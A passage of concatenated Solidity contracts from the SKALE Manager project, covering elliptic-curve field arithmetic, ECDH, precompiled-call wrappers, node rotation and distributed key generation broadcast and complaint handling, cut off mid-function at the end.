function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) { uint p = P; uint ab = mulmod(value.a, value.b, p); uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p); return Fp2Point({ a: mult, b: addmod(ab, ab, p) }); } function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) { uint p = P; uint t0 = mulmod(value.a, value.a, p); uint t1 = mulmod(value.b, value.b, p); uint t2 = mulmod(p - 1, t1, p); if (t0 >= t2) { t2 = addmod(t0, p - t2, p); } else { t2 = (p - addmod(t2, p - t0, p)).mod(p); } uint t3 = Precompiled.bigModExp(t2, p - 2, p); result.a = mulmod(value.a, t3, p); result.b = (p - mulmod(value.b, t3, p)).mod(p); } function isEqual( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (bool) { return value1.a == value2.a && value1.b == value2.b; } } library G1Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 1, b: 2 }); } function isG1Point(uint x, uint y) internal pure returns (bool) { uint p = Fp2Operations.P; return mulmod(y, y, p) == addmod(mulmod(mulmod(x, x, p), x, p), 3, p); } function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return isG1Point(point.a, point.b); } function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return point.a < Fp2Operations.P && point.b < Fp2Operations.P; } function negate(uint y) internal pure returns (uint) { return Fp2Operations.P.sub(y).mod(Fp2Operations.P); } } library G2Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; struct G2Point { Fp2Operations.Fp2Point x; Fp2Operations.Fp2Point y; } function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 19485874751759354771024239261021720505790618469301721065564631296452457478373, b: 266929791119991161246907387137283842545076965332900288569378510910307636690 }); } function getG2Generator() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 10857046999023057135944570762232829481370756359578518086990519993285655852781, b: 11559732032986387107991004021392285783925812861821192530917403151452391805634 }), y: Fp2Operations.Fp2Point({ a: 8495653923123431417604973247489272438418190587263600148770280649306958101930, b: 4082367875863433681332203403145435568316851327593401208105741076214120093531 }) }); } function getG2Zero() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 0, b: 0 }), y: Fp2Operations.Fp2Point({ a: 1, b: 0 }) }); } function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) { if (isG2ZeroPoint(x, y)) { return true; } Fp2Operations.Fp2Point memory squaredY = y.squaredFp2(); Fp2Operations.Fp2Point memory res = squaredY.minusFp2( x.squaredFp2().mulFp2(x) ).minusFp2(getTWISTB()); return res.a == 0 && res.b == 0; } function isG2(G2Point memory value) internal pure returns (bool) { return isG2Point(value.x, value.y); } function isG2ZeroPoint( Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y ) internal pure returns (bool) { return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0; } function isG2Zero(G2Point memory value) internal pure returns (bool) { return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0; // return isG2ZeroPoint(value.x, value.y); } function addG2( G2Point memory value1, G2Point memory value2 ) internal view returns (G2Point memory sum) { if (isG2Zero(value1)) { return value2; } if (isG2Zero(value2)) { return value1; } if (isEqual(value1, value2)) { return doubleG2(value1); } Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2()); sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x)); sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x))); uint p = Fp2Operations.P; sum.y.a = (p - sum.y.a).mod(p); sum.y.b = (p - sum.y.b).mod(p); } function isEqual( G2Point memory value1, G2Point memory value2 ) internal pure returns (bool) { return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y); } function doubleG2(G2Point memory value) internal view returns (G2Point memory result) { if (isG2Zero(value)) { return value; } else { Fp2Operations.Fp2Point memory s = value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2()); result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x)); result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x))); uint p = Fp2Operations.P; result.y.a = (p - result.y.a).mod(p); result.y.b = (p - result.y.b).mod(p); } } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Schains.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions { using Random for Random.RandomGenerator; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many rotations were on this schain */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex); if (schainId == bytes32(0)) { return (true, false); } _startRotation(schainId, nodeIndex); rotateNode(nodeIndex, schainId, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows SkaleManager contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external allow("SkaleManager") { bytes32[] memory schains = SchainsInternal( contractManager.getContract("SchainsInternal") ).getSchainIdsForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]), "DKG did not finish on Schain" ); if (rotations[schains[i]].freezeUntil < now) { _startWaiting(schains[i], nodeIndex); } else { if (rotations[schains[i]].nodeIndex != nodeIndex) { revert("Occupied by rotation on Schain"); } } } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainIndex) external allow("Schains") { delete rotations[schainIndex]; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainIndex) external onlyOwner { rotations[schainIndex].freezeUntil = now; } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainIndex) external view returns (bool) { return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainId, bool shouldDelay, bool isBadNode ) public allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainId); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainId, nodeIndex); } newNode = selectNodeToGroup(schainId); Nodes(contractManager.getContract("Nodes")).addSpaceToNode( nodeIndex, schainsInternal.getSchainsPartOfNode(schainId) ); _finishRotation(schainId, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainId) public allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainId), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainId); schainsInternal.makeSchainNodesInvisible(schainId); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes available for rotation"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainId) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainId); schainsInternal.addSchainForNode(nodeIndex, schainId); schainsInternal.setException(schainId, nodeIndex); schainsInternal.setNodeInGroup(schainId, nodeIndex); } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainIndex, uint nodeIndex) private { rotations[schainIndex].newNodeIndex = nodeIndex; waitForNewNode[schainIndex] = true; } function _startWaiting(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainIndex, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainIndex, shouldDelay ? now.add( ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() ) : now ) ); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; delete waitForNewNode[schainIndex]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex); } /** * @dev Checks whether a rotation can be performed. * * Requirements: * * - Schain must exist. */ function _checkRotation(bytes32 schainId ) private view returns (bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation"); return schainsInternal.isAnyFreeNode(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISkaleDKG.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface to {SkaleDKG}. */ interface ISkaleDKG { /** * @dev See {SkaleDKG-openChannel}. */ function openChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-deleteChannel}. */ function deleteChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-isLastDKGSuccessful}. */ function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool); /** * @dev See {SkaleDKG-isChannelOpened}. */ function isChannelOpened(bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later /* Modifications Copyright (C) 2018 SKALE Labs ec.sol by @jbaylina under GPL-3.0 License */ /** @file ECDH.sol * @author Jordi Baylina (@jbaylina) * @date 2016 */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title ECDH * @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to * support the DKG process. */ contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; // we use (0 0 1) as zero point, z always equal 1 if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } // we use (0 0 1) as zero point, z always equal 1 if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } // SPDX-License-Identifier: AGPL-3.0-only /* Precompiled.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library Precompiled { function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = modulus; uint[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) { uint[3] memory inputToMul; uint[2] memory output; inputToMul[0] = x; inputToMul[1] = y; inputToMul[2] = k; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40) } require(success, "Multiplication failed"); return (output[0], output[1]); } function bn256Pairing( uint x1, uint y1, uint a1, uint b1, uint c1, uint d1, uint x2, uint y2, uint a2, uint b2, uint c2, uint d2) internal view returns (bool) { bool success; uint[12] memory inputToPairing; inputToPairing[0] = x1; inputToPairing[1] = y1; inputToPairing[2] = a1; inputToPairing[3] = b1; inputToPairing[4] = c1; inputToPairing[5] = d1; inputToPairing[6] = x2; inputToPairing[7] = y2; inputToPairing[8] = a2; inputToPairing[9] = b2; inputToPairing[10] = c2; inputToPairing[11] = d2; uint[1] memory out; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgBroadcast.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../KeyStorage.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgBroadcast * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgBroadcast { using SafeMath for uint; /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, SkaleDKG.KeyShare[] secretKeyContribution ); /** * @dev Broadcasts verification vector and secret key contribution to all * other nodes in the group. * * Emits BroadcastAndKeyShare event. * * Requirements: * * - `msg.sender` must have an associated node. * - `verificationVector` must be a certain length. * - `secretKeyContribution` length must be equal to number of nodes in group. */ function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { uint n = channels[schainId].n; require(verificationVector.length == getT(n), "Incorrect number of verification vectors"); require( secretKeyContribution.length == n, "Incorrect number of secret key shares" ); (uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup( schainId, nodeIndex, true ); require(!dkgProcess[schainId].broadcasted[index], "This node has already broadcasted"); dkgProcess[schainId].broadcasted[index] = true; dkgProcess[schainId].numberOfBroadcasted++; if (dkgProcess[schainId].numberOfBroadcasted == channels[schainId].n) { SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainId); } hashedData[schainId][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData( secretKeyContribution, verificationVector ); KeyStorage(contractManager.getContract("KeyStorage")).adding(schainId, verificationVector[0]); emit BroadcastAndKeyShare( schainId, nodeIndex, verificationVector, secretKeyContribution ); } function getT(uint n) public pure returns (uint) { return n.mul(2).add(1).div(3); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgComplaint.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../SkaleDKG.sol"; import "../ConstantsHolder.sol"; import "../Wallets.sol"; import "../Nodes.sol"; /** * @title SkaleDkgComplaint * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgComplaint { using SafeMath for uint; /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); /** * @dev Creates a complaint from a node (accuser) to a given node. * The accusing node must broadcast additional parameters within 1800 blocks. * * Emits {ComplaintSent} or {ComplaintError} event. * * Requirements: * * - `msg.sender` must have an associated node. */ function complaint( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); } else { // not broadcasted in 30 min _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); } else { emit ComplaintError("First complaint has already been processed"); } } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); // missing alright if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { // missing alright skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; } else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) { // incorrect data skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; } else if (complaints[schainId].nodeToComplaint == toNodeIndex) { // 30 min after incorrect data complaint if (complaints[schainId].startComplaintBlockTimestamp.add( _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgPreResponse.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../Wallets.sol"; import "../utils/FieldOperations.sol"; /** * @title SkaleDkgPreResponse * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgPreResponse { using SafeMath for uint; using G2Operations for G2Operations.G2Point; function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); uint index = _preResponseCheck( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, skaleDKG, complaints, hashedData ); _processPreResponse(secretKeyContribution[index].share, schainId, verificationVectorMult, complaints); } function _preResponseCheck( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, SkaleDKG.KeyShare[] memory secretKeyContribution, SkaleDKG skaleDKG, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => mapping(uint => bytes32)) storage hashedData ) private view returns (uint index) { (uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node"); require(!complaints[schainId].isResponse, "Already submitted pre response data"); require( hashedData[schainId][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector), "Broadcasted Data is not correct" ); require( verificationVector.length == verificationVectorMult.length, "Incorrect length of multiplied verification vector" ); (index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, complaints[schainId].fromNodeToComplaint, true); require( _checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult), "Multiplied verification vector is incorrect" ); } function _processPreResponse( bytes32 share, bytes32 schainId, G2Operations.G2Point[] memory verificationVectorMult, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) private { complaints[schainId].keyShare = share; complaints[schainId].sumOfVerVec = _calculateSum(verificationVectorMult); complaints[schainId].isResponse = true; } function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult) private view returns (G2Operations.G2Point memory) { G2Operations.G2Point memory value = G2Operations.getG2Zero(); for (uint i = 0; i < verificationVectorMult.length; i++) { value = value.addG2(verificationVectorMult[i]); } return value; } function _checkCorrectVectorMultiplication( uint indexOnSchain, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult ) private view returns (bool) { Fp2Operations.Fp2Point memory value 